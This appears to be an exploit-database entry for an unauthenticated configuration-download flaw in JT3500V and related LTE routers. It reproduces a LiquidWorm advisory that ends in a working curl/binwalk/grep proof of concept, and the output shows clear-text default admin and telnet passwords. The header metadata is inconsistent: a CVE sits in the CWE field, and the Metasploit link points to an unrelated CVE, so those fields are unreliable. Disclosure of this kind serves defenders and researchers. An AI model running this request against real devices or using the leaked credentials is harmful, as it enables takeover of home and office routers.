KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Authentication Bypass

vendor:

JT3500V

by:

LiquidWorm

9.8

CVSS

CRITICAL

Authentication Bypass

287

CWE

Product Name: JT3500V

Affected Version From: 2.0.0B01

Affected Version To: 2.0.1B1064

Patch Exists: YES

Related CWE: CVE-2021-25212

CPE: h:kzbtech:jt3500v

Metasploit: https://www.rapid7.com/db/vulnerabilities/alma_linux-cve-2020-25212/

Other Scripts: N/A

Platforms Tested: None

2021

KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 – Authentication Bypass

A vulnerability in KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 allows an unauthenticated attacker to bypass authentication and gain access to the device. This vulnerability exists due to the lack of proper authentication checks when handling requests to the web interface. An attacker can exploit this vulnerability by sending a specially crafted request to the web interface. This will allow the attacker to bypass authentication and gain access to the device.

Mitigation:

Upgrade to the latest version of the firmware.

Source

Exploit-DB raw data:

# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Authentication Bypass
# Date: 03.02.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kzbtech.com http://www.jatontec.com https://www.neotel.mk

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
                  http://www.jatontec.com/products/show.php?itemid=258
                  http://www.jatontech.com/CAT12.html#_pp=105_564
                  http://www.kzbtech.com/AM3300V.html
                  https://neotel.mk/ostanati-paketi-2/

Affected version:  Model | Firmware
                  -------|---------
                 JT3500V | 2.0.1B1064
                 JT3300V | 2.0.1B1047
                 AM6200M | 2.0.0B3210
                 AM6000N | 2.0.0B3042
                 AM5000W | 2.0.0B3037
                 AM4200M | 2.0.0B2996
                 AM4100V | 2.0.0B2988
                AM3500MW | 2.0.0B1092
                 AM3410V | 2.0.0B1085
                 AM3300V | 2.0.0B1060
                 AM3100E | 2.0.0B981
                 AM3100V | 2.0.0B946
                 AM3000M | 2.0.0B21
                 KZ7621U | 2.0.0B14
                 KZ3220M | 2.0.0B04
                 KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The application suffers from an authentication bypass
vulnerability. An unauthenticated attacker can disclose sensitive
and clear-text information resulting in authentication bypass by
downloading the configuration of the device and revealing the
admin password.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5636
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5636.php


03.02.2021

--


$ curl -s \
       -o configtest.zlib \ # Default: config.dat
       'http://192.168.1.1:8080/cgi-bin/export_settings.cgi' ; \
       binwalk -e configtest.zlib ; \
       cd _configtest.zlib_extracted ; \
       strings * | grep -ni 'Login\|Password\|Telnet\|Guest' ; \
       # cat /tmp/nvramconfig/RT28060_CONFIG_VLAN \ # On device
       cd ..

3:Login=admin
4:Password=neotelwings
5:TelnetPwd=root123
6:GuestId=user
7:GuestPassword=user123
89:DDNSPassword=
239:auto_update_password=
279:Tr069_Password=
288:Tr069_ConnectionRequestPassword=admin
300:Tr069_STUNPassword=
339:telnetManagement=2
$